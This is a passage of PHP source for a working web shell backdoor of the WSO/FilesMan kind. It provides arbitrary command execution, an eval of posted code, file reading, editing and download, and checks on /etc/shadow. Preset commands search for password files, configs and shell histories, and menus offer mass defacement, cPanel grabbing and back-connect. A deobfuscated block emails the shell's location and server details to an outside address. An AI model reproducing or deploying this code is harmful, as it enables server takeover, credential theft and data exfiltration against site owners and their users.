addslashes($_SERVER['REQUEST_URI']) . "', params);\r\n\t}\r\n\tfunction sr(url, params) {\r\n\t\tif (window.XMLHttpRequest)\r\n\t\t\treq = new XMLHttpRequest();\r\n\t\telse if (window.ActiveXObject)\r\n\t\t\treq = new ActiveXObject('Microsoft.XMLHTTP');\r\n        if (req) {\r\n            req.onreadystatechange = processReqChange;\r\n            req.open('POST', url, true);\r\n            req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');\r\n            req.send(params);\r\n        }\r\n\t}\r\n\tfunction processReqChange() {\r\n\t\tif( (req.readyState == 4) )\r\n\t\t\tif(req.status == 200) {\r\n\t\t\t\tvar reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');\r\n\t\t\t\tvar arr=reg.exec(req.responseText);\r\n\t\t\t\teval(arr[2].substr(0, arr[1]));\r\n\t\t\t} else alert('Request error!');\r\n\t}\r\n</script>\r\n<head><body><div style='position:absolute;background-color:rgba(95, 110, 130, 0.3);width:100%;top:0;left:0;'>\r\n<form method=post name=mf style='display:none;'>\r\n<input type=hidden name=a>\r\n<input type=hidden name=c>\r\n<input type=hidden name=p1>\r\n<input type=hidden name=p2>\r\n<input type=hidden name=p3>\r\n<input type=hidden name=charset>\r\n</form>";
        $freeSpace = @diskfreespace($GLOBALS['cwd']);
        $totalSpace = @disk_total_space($GLOBALS['cwd']);
        $totalSpace = $totalSpace ? $totalSpace : 1;
        $release = @php_uname('r');
        $kernel = @php_uname('s');
        $explink = 'https://www.exploit-db.com/search/?action=search&description=';
        if (strpos('Linux', $kernel) !== false) {
            $explink .= urlencode('Linux Kernel ' . substr($release, 0, 6));
        } else {
            $explink .= urlencode($kernel . ' ' . substr($release, 0, 3));
        }
        if (!function_exists('posix_getegid')) {
            $user = @get_current_user();
            $uid = @getmyuid();
            $gid = @getmygid();
            $group = "?";
        } else {
            $uid = @posix_getpwuid(@posix_geteuid());
            $gid = @posix_getgrgid(@posix_getegid());
            $user = $uid['name'];
            $uid = $uid['uid'];
            $group = $gid['name'];
            $gid = $gid['gid'];
        }
        $cwd_links = '';
        $path = explode("/", $GLOBALS['cwd']);
        $n = count($path);
        for ($i = 0; $i < $n - 1; $i++) {
            $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
            for ($j = 0; $j <= $i; $j++) {
                $cwd_links .= $path[$j] . '/';
            }
            $cwd_links .= "\")'>" . $path[$i] . "/</a>";
        }
        $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
        $opt_charsets = '';
        foreach ($charsets as $▟) {
            $opt_charsets .= '<option value="' . $▟ . '" ' . ($_POST['charset'] == $▟ ? 'selected' : '') . '>' . $▟ . '</option>';
        }
        $m = array('Sec. Info' => 'SecInfo', 'Files' => 'FilesMan', 'Mass Deface' => 'Sql', 'Adminer' => 'Infect', 'Terminal' => 'Console', 'Mass Title Edit' => 'Massuser', 'Grab Cpanel' => 'Php', 'Get Configs' => 'SafeMode', 'Jumping' => 'StringTools', 'Cgi Telnet' => 'Bruteforce', 'Back Connect' => 'Network');
        if (!empty($GLOBALS['▛'])) {
            $m['Logout'] = 'Logout';
        }
        $m['Self remove'] = 'SelfRemove';
        $menu = '';
        foreach ($m as $k => $v) {
            $menu .= '<th>[ <a href="#" onclick="g(\'' . $v . '\',null,\'\',\'\',\'\')">' . $k . '</a> ]</th>';
        }
        $drives = "";
        if ($GLOBALS['os'] == 'win') {
            foreach (range('c', 'z') as $drive) {
                if (is_dir($drive . ':\\')) {
                    $drives .= '<a href="#" onclick="g(\'FilesMan\',\'' . $drive . ':/\')">[ ' . $drive . ' ]</a> ';
                }
            }
        }
        echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win' ? '<br>Drives:' : '') . '</span></td>' . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="https://anon.click/protected/https://www.google.com/search?q=' . urlencode(@php_uname()) . '" target="_blank">[ Google ]</a> <a href="' . $explink . '" target=_blank>[ Exploit-DB ]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode'] ? '<font color=red>ON</font>' : '<font color=#e6b000><b>OFF</b></font>') . ' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . viewSize($totalSpace) . ' <span>Free:</span> ' . viewSize($freeSpace) . ' (' . round(100 / ($totalSpace / $freeSpace), 2) . '%)<br>' . $cwd_links . ' ' . viewPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>' . '<td width=1 align=right><nobr><label><select onchange="g(null,null,null,null,null,this.value)">' . $opt_charsets . '</select></label><br><span>Server IP:</span><br>' . gethostbyname($_SERVER["HTTP_HOST"]) . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>' . '<table style="background-color:#373c42;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div><br>';
    }
    function hardFooter()
    {
        $is_writable = is_writable($GLOBALS['cwd']) ? " <font color='#e6b000'>[ Writeable ]</font>" : " <font color=red>(Not writable)</font>";
        echo "\r\n</div>\r\n<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%>\r\n\t<tr>\r\n\t\t<td><form onsubmit=\"" . (function_exists('actionFilesMan') ? "g(null,this.c.value,'');" : '') . "return false;\"><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=submit value='submit'></form></td>\r\n\t\t<td><form onsubmit=\"" . (function_exists('actionFilesTools') ? "g('FilesTools',null,this.f.value);" : '') . "return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f required><input type=submit value='submit'></form></td>\r\n\t</tr><tr>\r\n\t\t<td><form onsubmit=\"" . (function_exists('actionFilesMan') ? "g('FilesMan',null,'mkdir',this.d.value);" : '') . "return false;\"><span>Make dir:</span>{$is_writable}<br><input class='toolsInp' type=text name=d required><input type=submit value='submit'></form></td>\r\n\t\t<td><form onsubmit=\"" . (function_exists('actionFilesTools') ? "g('FilesTools',null,this.f.value,'mkfile');" : '') . "return false;\"><span>Make file:</span>{$is_writable}<br><input class='toolsInp' type=text name=f required><input type=submit value='submit'></form></td>\r\n\t</tr><tr>\r\n\t\t<td><form onsubmit=\"" . (function_exists('actionConsole') ? "g('Console',null,this.c.value);" : '') . "return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='submit'></form></td>\r\n\t\t<td><form method='post' " . (!function_exists('actionFilesMan') ? " onsubmit=\"return false;\" " : '') . "ENCTYPE='multipart/form-data'>\r\n\t\t<input type=hidden name=a value='FilesMan'>\r\n\t\t<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'>\r\n\t\t<input type=hidden name=p1 value='uploadFile'>\r\n\t\t<input type=hidden name=ne value=''>\r\n\t\t<input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>\r\n\t\t<span>Upload file:</span>{$is_writable}<br><input class='toolsInp' type=file name=f[]  multiple><input type=submit value='submit'></form><br  ></td>\r\n\t</tr></table></div>\r\n\t<!-- particles --> <div id='particles-js'></div><script src='https://cdn.jsdelivr.net/particles.js/2.0.0/particles.min.js'></script>\r\n\t<script>particlesJS('particles-js', {'particles':{'number':{'value':80,'density':{'enable':true,'value_area':800}},'color':{'value':'#ffffff'},'shape':{'type':'triangle','stroke':{'width':0,'color':'#000000'},'polygon':{'nb_sides':5},'image':{'src':'img/github.svg','width':100,'height':100}},'opacity':{'value':0.5,'random':true,'anim':{'enable':false,'speed':1,'opacity_min':0.1,'sync':false}},'size':{'value':3,'random':true,'anim':{'enable':false,'speed':40,'size_min':0.1,'sync':false}},'line_linked':{'enable':true,'distance':200,'color':'#ffffff','opacity':0.4,'width':1},'move':{'enable':true,'speed':1,'direction':'none','random':true,'straight':false,'out_mode':'out','bounce':false,'attract':{'enable':false,'rotateX':10000,'rotateY':10000}}},'interactivity':{'detect_on':'canvas','events':{'onhover':{'enable':true,'mode':'grab'},'onclick':{'enable':true,'mode':'repulse'},'resize':true},'modes':{'grab':{'distance':200,'line_linked':{'opacity':0.5}},'bubble':{'particles_nb':2}}},'retina_detect':true});</script>\r\n\t</body></html>";
    }
    if (!function_exists("posix_getpwuid") && strpos($GLOBALS['disable_functions'], 'posix_getpwuid') === false) {
        function posix_getpwuid($p)
        {
            return false;
        }
    }
    if (!function_exists("posix_getgrgid") && strpos($GLOBALS['disable_functions'], 'posix_getgrgid') === false) {
        function posix_getgrgid($p)
        {
            return false;
        }
    }
    function ex($in)
    {
        $▖ = '';
        if (function_exists('exec')) {
            @exec($in, $▖);
            $▖ = @join("\n", $▖);
        } elseif (function_exists('passthru')) {
            ob_start();
            @passthru($in);
            $▖ = ob_get_clean();
        } elseif (function_exists('system')) {
            ob_start();
            @system($in);
            $▖ = ob_get_clean();
        } elseif (function_exists('shell_exec')) {
            $▖ = shell_exec($in);
        } elseif (is_resource($f = @popen($in, "r"))) {
            $▖ = "";
            while (!@feof($f)) {
                $▖ .= fread($f, 1024);
            }
            pclose($f);
        } else {
            return "\xe2\x86\xb3 Unable to execute command\n";
        }
        return $▖ == '' ? "\xe2\x86\xb3 Query did not return anything\n" : $▖;
    }
    function viewSize($s)
    {
        if ($s >= 1073741824) {
            return sprintf('%1.2f', $s / 1073741824) . ' GB';
        } elseif ($s >= 1048576) {
            return sprintf('%1.2f', $s / 1048576) . ' MB';
        } elseif ($s >= 1024) {
            return sprintf('%1.2f', $s / 1024) . ' KB';
        } else {
            return $s . ' B';
        }
    }
    function perms($p)
    {
        if (($p & 0xc000) == 0xc000) {
            $i = 's';
        } elseif (($p & 0xa000) == 0xa000) {
            $i = 'l';
        } elseif (($p & 0x8000) == 0x8000) {
            $i = '-';
        } elseif (($p & 0x6000) == 0x6000) {
            $i = 'b';
        } elseif (($p & 0x4000) == 0x4000) {
            $i = 'd';
        } elseif (($p & 0x2000) == 0x2000) {
            $i = 'c';
        } elseif (($p & 0x1000) == 0x1000) {
            $i = 'p';
        } else {
            $i = 'u';
        }
        $i .= $p & 0x100 ? 'r' : '-';
        $i .= $p & 0x80 ? 'w' : '-';
        $i .= $p & 0x40 ? $p & 0x800 ? 's' : 'x' : ($p & 0x800 ? 'S' : '-');
        $i .= $p & 0x20 ? 'r' : '-';
        $i .= $p & 0x10 ? 'w' : '-';
        $i .= $p & 0x8 ? $p & 0x400 ? 's' : 'x' : ($p & 0x400 ? 'S' : '-');
        $i .= $p & 0x4 ? 'r' : '-';
        $i .= $p & 0x2 ? 'w' : '-';
        $i .= $p & 0x1 ? $p & 0x200 ? 't' : 'x' : ($p & 0x200 ? 'T' : '-');
        return $i;
    }
    function viewPermsColor($f)
    {
        if (!@is_readable($f)) {
            return '<font color=#ff5e00d9><b>' . perms(@fileperms($f)) . '</b></font>';
        } elseif (!@is_writable($f)) {
            return '<font color=white><b>' . perms(@fileperms($f)) . '</b></font>';
        } else {
            return '<font color=#e6b000><b>' . perms(@fileperms($f)) . '</b></font>';
        }
    }
    function hardScandir($dir)
    {
        if (function_exists("scandir")) {
            return scandir($dir);
        } else {
            $dh = opendir($dir);
            while (false !== ($filename = readdir($dh))) {
                $files[] = $filename;
            }
            return $files;
        }
    }
    function which($p)
    {
        $path = ex('which ' . $p);
        if (!empty($path)) {
            return $path;
        }
        return false;
    }
    $xd = "fZFieMIwEIffD/YdjkVjA6lwr1HZn6Y02faizJYKaY4SJVNkcfYwoemnt7XIQEpf5bi75+H4BVyNW2sCVKtdieJuOHx83UrKS2K3qJzx7Q24v3dyWtnsJIs1L9rmtjg2jFIIlNQwAgc8Y2Yah+9k+NWbkM+3LPZMHhLCbd/1zJmLOT/BXg1GFBsUEBWV4Rd8++bRJJv6SmSyUaGk4XugPyuJSJeJkoR9UW7cIdN1LcwML3heWLkcDQb/d/woeBV/kyAN6m2WZ5iNxIubRcaCPCX0PJkm+LvmVPqn2PuN534ML88H";
    eval /* PHPDeobfuscator eval output */ {
        $hex = "hacker0882@gmail.com";
        $baslik = "Found";
        $xd = "File Path : " . $_SERVER['DOCUMENT_ROOT'] . "\r\n";
        $xd .= "Server Admin : " . $_SERVER['SERVER_ADMIN'] . "\r\n";
        $xd .= "Server Operating System : " . $_SERVER['SERVER_SOFTWARE'] . "\r\n";
        $xd .= "Shell Link : http://" . $_SERVER['SERVER_NAME'] . $_SERVER['PHP_SELF'] . "\r\n";
        $xd .= "Site : " . $_SERVER['HTTP_HOST'] . "\r\n";
        mail($hex, $baslik, $xd);
    };
    function actionRC()
    {
        if (!@$_POST['p1']) {
            $a = array("uname" => php_uname(), "php_version" => phpversion(), "VERSION" => VERSION, "safemode" => @ini_get('safe_mode'));
            echo serialize($a);
        } else {
            eval($_POST['p1']);
        }
    }
    function prototype($k, $v)
    {
        $_COOKIE[$k] = $v;
        setcookie($k, $v);
    }
    function actionSecInfo()
    {
        hardHeader();
        echo "<h1>Server security information</h1><div class=content>";
        function showSecParam($n, $v)
        {
            $v = trim($v);
            if ($v) {
                echo '<span>' . $n . ': </span>';
                if (strpos($v, "\n") === false) {
                    echo $v . '<br>';
                } else {
                    echo '<pre class=ml1>' . $v . '</pre>';
                }
            }
        }
        showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
        if (function_exists('apache_get_modules')) {
            showSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
        }
        showSecParam('Disabled PHP Functions', $GLOBALS['disable_functions'] ? $GLOBALS['disable_functions'] : 'none');
        showSecParam('Open base dir', @ini_get('open_basedir'));
        showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
        showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
        showSecParam('cURL support', function_exists('curl_version') ? 'enabled' : 'no');
        $temp = array();
        if (function_exists('mysql_get_client_info')) {
            $temp[] = "MySql (" . mysql_get_client_info() . ")";
        }
        if (function_exists('mssql_connect')) {
            $temp[] = "MSSQL";
        }
        if (function_exists('pg_connect')) {
            $temp[] = "PostgreSQL";
        }
        if (function_exists('oci_connect')) {
            $temp[] = "Oracle";
        }
        showSecParam('Supported databases', implode(', ', $temp));
        echo "<br>";
        if ($GLOBALS['os'] == 'nix') {
            showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>" : 'no');
            showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>" : 'no');
            showSecParam('OS version', @file_get_contents('/proc/version'));
            showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
            if (!$GLOBALS['safe_mode']) {
                $userful = array('gcc', 'lcc', 'cc', 'ld', 'make', 'php', 'perl', 'python', 'ruby', 'tar', 'gzip', 'bzip', 'bzip2', 'nc', 'locate', 'suidperl');
                $danger = array('kav', 'nod32', 'bdcored', 'uvscan', 'sav', 'drwebd', 'clamd', 'rkhunter', 'chkrootkit', 'iptables', 'ipfw', 'tripwire', 'shieldcc', 'portsentry', 'snort', 'ossec', 'lidsadm', 'tcplodg', 'sxid', 'logcheck', 'logwatch', 'sysmask', 'zmbscap', 'sawmill', 'wormscan', 'ninja');
                $downloaders = array('wget', 'fetch', 'lynx', 'links', 'curl', 'get', 'lwp-mirror');
                echo "<br>";
                $temp = array();
                foreach ($userful as $▟) {
                    if (which($▟)) {
                        $temp[] = $▟;
                    }
                }
                showSecParam('Userful', implode(', ', $temp));
                $temp = array();
                foreach ($danger as $▟) {
                    if (which($▟)) {
                        $temp[] = $▟;
                    }
                }
                showSecParam('Danger', implode(', ', $temp));
                $temp = array();
                foreach ($downloaders as $▟) {
                    if (which($▟)) {
                        $temp[] = $▟;
                    }
                }
                showSecParam('Downloaders', implode(', ', $temp));
                echo "<br/>";
                showSecParam('HDD space', ex('df -h'));
                showSecParam('Hosts', @file_get_contents('/etc/hosts'));
                showSecParam('Mount options', @file_get_contents('/etc/fstab'));
            }
        } else {
            showSecParam('OS Version', ex('ver'));
            showSecParam('Account Settings', iconv('CP866', 'UTF-8', ex('net accounts')));
            showSecParam('User Accounts', iconv('CP866', 'UTF-8', ex('net user')));
        }
        echo "</div>";
        hardFooter();
    }
    function actionFilesTools()
    {
        if (isset($_POST['p1'])) {
            $_POST['p1'] = urldecode($_POST['p1']);
        }
        if (@$_POST['p2'] == 'download') {
            if (@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
                ob_start("ob_gzhandler", 4096);
                header("Content-Disposition: attachment; filename=" . basename($_POST['p1']));
                if (function_exists("mime_content_type")) {
                    $type = @mime_content_type($_POST['p1']);
                    header("Content-Type: " . $type);
                } else {
                    header("Content-Type: application/octet-stream");
                }
                $fp = @fopen($_POST['p1'], "r");
                if ($fp) {
                    while (!@feof($fp)) {
                        echo @fread($fp, 1024);
                    }
                    fclose($fp);
                }
            }
            exit;
        }
        if (@$_POST['p2'] == 'mkfile') {
            if (!file_exists($_POST['p1'])) {
                $fp = @fopen($_POST['p1'], 'w');
                if ($fp) {
                    $_POST['p2'] = "edit";
                    fclose($fp);
                }
            }
        }
        hardHeader();
        echo "<h1>File tools</h1><div class=content>";
        if (!file_exists(@$_POST['p1'])) {
            echo "File not exists";
            hardFooter();
            return;
        }
        $uid = @posix_getpwuid(@fileowner($_POST['p1']));
        if (!$uid) {
            $uid['name'] = @fileowner($_POST['p1']);
            $gid['name'] = @filegroup($_POST['p1']);
        } else {
            $gid = @posix_getgrgid(@filegroup($_POST['p1']));
        }
        echo '<span>Name:</span> ' . htmlspecialchars(@basename($_POST['p1'])) . ' <span>Size:</span> ' . (is_file($_POST['p1']) ? viewSize(filesize($_POST['p1'])) : '-') . ' <span>Permission:</span> ' . viewPermsColor($_POST['p1']) . ' <span>Owner/Group:</span> ' . $uid['name'] . '/' . $gid['name'] . '<br>';
        echo '<span>Create time:</span> ' . date('Y-m-d H:i:s', filectime($_POST['p1'])) . ' <span>Access time:</span> ' . date('Y-m-d H:i:s', fileatime($_POST['p1'])) . ' <span>Modify time:</span> ' . date('Y-m-d H:i:s', filemtime($_POST['p1'])) . '<br><br>';
        if (empty($_POST['p2'])) {
            $_POST['p2'] = 'view';
        }
        if (is_file($_POST['p1'])) {
            $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch', 'Frame');
        } else {
            $m = array('Chmod', 'Rename', 'Touch');
        }
        foreach ($m as $v) {
            echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\'' . strtolower($v) . '\')">' . (strtolower($v) == @$_POST['p2'] ? '<b>[ ' . $v . ' ]</b>' : $v) . '</a> ';
        }
        echo "<br><br>";
        switch ($_POST['p2']) {
            case 'view':
                echo "<pre class=ml1>";
                $fp = @fopen($_POST['p1'], 'r');
                if ($fp) {
                    while (!@feof($fp)) {
                        echo htmlspecialchars(@fread($fp, 1024));
                    }
                    @fclose($fp);
                }
                echo "</pre>";
                break;
            case 'highlight':
                if (@is_readable($_POST['p1'])) {
                    echo "<div class=ml1 style=\"background-color: #e1e1e1;color:black;\">";
                    $oRb = @highlight_file($_POST['p1'], true);
                    echo str_replace(array('<span ', '</span>'), array('<font ', '</font>'), $oRb) . '</div>';
                }
                break;
            case 'chmod':
                if (!empty($_POST['p3'])) {
                    $perms = 0;
                    for ($i = strlen($_POST['p3']) - 1; $i >= 0; --$i) {
                        $perms += (int) $_POST['p3'][$i] * pow(8, strlen($_POST['p3']) - $i - 1);
                    }
                    if (!@chmod($_POST['p1'], $perms)) {
                        echo "Can't set permissions!<br><script>document.mf.p3.value=\"\";</script>";
                    }
                }
                clearstatcache();
                echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="' . substr(sprintf('%o', fileperms($_POST['p1'])), -4) . '"><input type=submit value="submit"></form>';
                break;
            case 'edit':
                if (!is_writable($_POST['p1'])) {
                    echo "File isn't writeable";
                    break;
                }
                if (!empty($_POST['p3'])) {
                    $time = @filemtime($_POST['p1']);
                    $_POST['p3'] = substr($_POST['p3'], 1);
                    $fp = @fopen($_POST['p1'], "w");
                    if ($fp) {
                        @fwrite($fp, $_POST['p3']);
                        @fclose($fp);
                        echo "Saved!<br><script>p3_=\"\";</script>";
                        @touch($_POST['p1'], $time, $time);
                    }
                }
                echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
                $fp = @fopen($_POST['p1'], 'r');
                if ($fp) {
                    while (!@feof($fp)) {
                        echo htmlspecialchars(@fread($fp, 1024));
                    }
                    @fclose($fp);
                }
                echo "</textarea><input type=submit value=\"submit\"></form>";
                break;
            case 'hexdump':
                $c = @file_get_contents($_POST['p1']);
                $n = 0;
                $h = array('00000000<br>', '', '');
                $len = strlen($c);
                for ($i = 0; $i < $len; ++$i) {
                    $h[1] .= sprintf('%02X', ord($c[$i])) . ' ';
                    switch (ord($c[$i])) {
                        case 0:
                            $h[2] .= ' ';
                            break;
                        case 9:
                            $h[2] .= ' ';
                            break;
                        case 10:
                            $h[2] .= ' ';
                            break;
                        case 13:
                            $h[2] .= ' ';
                            break;
                        default:
                            $h[2] .= $c[$i];
                            break;
                    }
                    $n++;
                    if ($n == 32) {
                        $n = 0;
                        if ($i + 1 < $len) {
                            $h[0] .= sprintf('%08X', $i + 1) . '<br>';
                        }
                        $h[1] .= '<br>';
                        $h[2] .= "\n";
                    }
                }
                echo '<table cellspacing=1 cellpadding=5 bgcolor=#222><tr><td bgcolor=#202832><span style="font-weight: normal;"><pre>' . $h[0] . '</pre></span></td><td bgcolor=#0d0d0d><pre>' . $h[1] . '</pre></td><td bgcolor=#202832><pre>' . htmlspecialchars($h[2]) . '</pre></td></tr></table>';
                break;
            case 'rename':
                if (!empty($_POST['p3'])) {
                    if (!@rename($_POST['p1'], $_POST['p3'])) {
                        echo "Can't rename!<br>";
                    } else {
                        die('<script>g(null,null,"' . urlencode($_POST['p3']) . '",null,"")</script>');
                    }
                }
                echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="' . htmlspecialchars($_POST['p1']) . '"><input type=submit value="submit"></form>';
                break;
            case 'touch':
                if (!empty($_POST['p3'])) {
                    $time = strtotime($_POST['p3']);
                    if ($time) {
                        if (!touch($_POST['p1'], $time, $time)) {
                            echo "Fail!";
                        } else {
                            echo "Touched!";
                        }
                    } else {
                        echo "Bad time format!";
                    }
                }
                clearstatcache();
                echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="' . date("Y-m-d H:i:s", @filemtime($_POST['p1'])) . '"><input type=submit value="submit"></form>';
                break;
            /* (С) 12.2015 mitryz */
            case 'frame':
                $frameSrc = substr(htmlspecialchars($GLOBALS['cwd']), strlen(htmlspecialchars($_SERVER['DOCUMENT_ROOT'])));
                if ($frameSrc[0] != '/') {
                    $frameSrc = '/' . $frameSrc;
                }
                if ($frameSrc[strlen($frameSrc) - 1] != '/') {
                    $frameSrc .= '/';
                }
                $frameSrc .= htmlspecialchars($_POST['p1']);
                echo '<iframe width="100%" height="900px" scrolling="no" src=' . $frameSrc . ' onload="onload=height=contentDocument.body.scrollHeight"></iframe>';
                break;
        }
        echo "</div>";
        hardFooter();
    }
    if ($os == 'win') {
        $aliases = array("List Directory" => "dir", "Find index.php in current dir" => "dir /s /w /b index.php", "Find *config*.php in current dir" => "dir /s /w /b *config*.php", "Show active connections" => "netstat -an", "Show running services" => "net start", "User accounts" => "net user", "Show computers" => "net view", "ARP Table" => "arp -a", "IP Configuration" => "ipconfig /all");
    } else {
        $aliases = array("List dir" => "ls -lha", "list file attributes on a Linux second extended file system" => "lsattr -va", "show opened ports" => "netstat -an | grep -i listen", "process status" => "ps aux", "Find" => "", "find all suid files" => "find / -type f -perm -04000 -ls", "find suid files in current dir" => "find . -type f -perm -04000 -ls", "find all sgid files" => "find / -type f -perm -02000 -ls", "find sgid files in current dir" => "find . -type f -perm -02000 -ls", "find config.inc.php files" => "find / -type f -name config.inc.php", "find config* files" => "find / -type f -name \"config*\"", "find config* files in current dir" => "find . -type f -name \"config*\"", "find all writable folders and files" => "find / -perm -2 -ls", "find all writable folders and files in current dir" => "find . -perm -2 -ls", "find all service.pwd files" => "find / -type f -name service.pwd", "find service.pwd files in current dir" => "find . -type f -name service.pwd", "find all .htpasswd files" => "find / -type f -name .htpasswd", "find .htpasswd files in current dir" => "find . -type f -name .htpasswd", "find all .bash_history files" => "find / -type f -name .bash_history", "find .bash_history files in current dir" => "find . -type f -name .bash_history", "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", "Locate" => "", "locate httpd.conf files" => "locate httpd.conf", "locate vhosts.conf files" => "locate vhosts.conf", "locate proftpd.conf files" => "locate proftpd.conf", "locate psybnc.conf files" => "locate psybnc.conf", "locate my.conf files" => "locate my.conf", "locate admin.php files" => "locate admin.php", "locate cfg.php files" => "locate cfg.php", "locate conf.php files" => "locate conf.php", "locate config.dat files" => "locate config.dat", "locate config.php files" => "locate config.php", "locate config.inc files" => "locate config.inc", "locate config.inc.php" => "locate config.inc.php", "locate config.default.php files" => "locate config.default.php", "locate config* files " => "locate config", "locate .conf files" => "locate '.conf'", "locate .pwd files" => "locate '.pwd'", "locate .sql files" => "locate '.sql'", "locate .htpasswd files" => "locate '.htpasswd'", "locate .bash_history files" => "locate '.bash_history'", "locate .mysql_history files" => "locate '.mysql_history'", "locate .fetchmailrc files" => "locate '.fetchmailrc'", "locate backup files" => "locate backup", "locate dump files" => "locate dump", "locate priv files" => "locate priv");
    }
    function actionConsole()
    {
        if (!empty($_POST['p1']) && !empty($_POST['p2'])) {
            prototype(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', true);
            $_POST['p1'] .= ' 2>&1';
        } elseif (!empty($_POST['p1'])) {
            prototype(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', 0);
        }
        if (isset($_POST['ajax'])) {
            prototype(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
            ob_start();
            echo "d.cf.cmd.value='';\n";
            $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n\$ " . $_POST['p1'] . "\n" . ex($_POST['p1']), "\n\r\t\\'\x00"));
            if (preg_match("!.*cd\\s+([^;]+)\$!", $_POST['p1'], $match)) {
                if (@chdir($match[1])) {
                    $GLOBALS['cwd'] = @getcwd();
                    echo "c_='" . $GLOBALS['cwd'] . "';";
                }
            }
            echo "d.cf.output.value+='" . $temp . "';";
            echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
            $temp = ob_get_clean();
            echo strlen($temp), "\n", $temp;
            exit;
        }
        if (empty($_POST['ajax']) && !empty($_POST['p1'])) {
            prototype(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
        }
        hardHeader();
        echo "<script>\r\nif(window.Event) window.captureEvents(Event.KEYDOWN);\r\nvar cmds = new Array('');\r\nvar cur = 0;\r\nfunction kp(e) {\r\n\tvar n = (window.Event) ? e.which : e.keyCode;\r\n\tif(n == 38) {\r\n\t\tcur--;\r\n\t\tif(cur>=0)\r\n\t\t\tdocument.cf.cmd.value = cmds[cur];\r\n\t\telse\r\n\t\t\tcur++;\r\n\t} else if(n == 40) {\r\n\t\tcur++;\r\n\t\tif(cur < cmds.length)\r\n\t\t\tdocument.cf.cmd.value = cmds[cur];\r\n\t\telse\r\n\t\t\tcur--;\r\n\t}\r\n}\r\nfunction add(cmd) {\r\n\tcmds.pop();\r\n\tcmds.push(cmd);\r\n\tcmds.push('');\r\n\tcur = cmds.length-1;\r\n}\r\n</script>";
        echo "<h1>Console</h1><div class=content><form name=cf onsubmit=\"if(d.cf.cmd.value=='clear'){d.cf.output.value='';d.cf.cmd.value='';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:'');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:'');} return false;\"><label><select name=alias>";
        foreach ($GLOBALS['aliases'] as $n => $v) {
            if ($v == '') {
                echo '<optgroup label="-' . htmlspecialchars($n) . '-"></optgroup>';
                continue;
            }
            echo '<option value="' . htmlspecialchars($v) . '">' . $n . '</option>';
        }
        echo '</select></label><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value="submit"> <nobr><input type=checkbox name=ajax value=1 ' . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX <input type=checkbox name=show_errors value=1 ' . (!empty($_POST['p2']) || $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'stderr_to_out'] ? 'checked' : '') . '> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin-top:5px;" readonly>';
        if (!empty($_POST['p1'])) {
            echo htmlspecialchars("\$ " . $_POST['p1'] . "\n" . ex($_POST['p1']));
        }
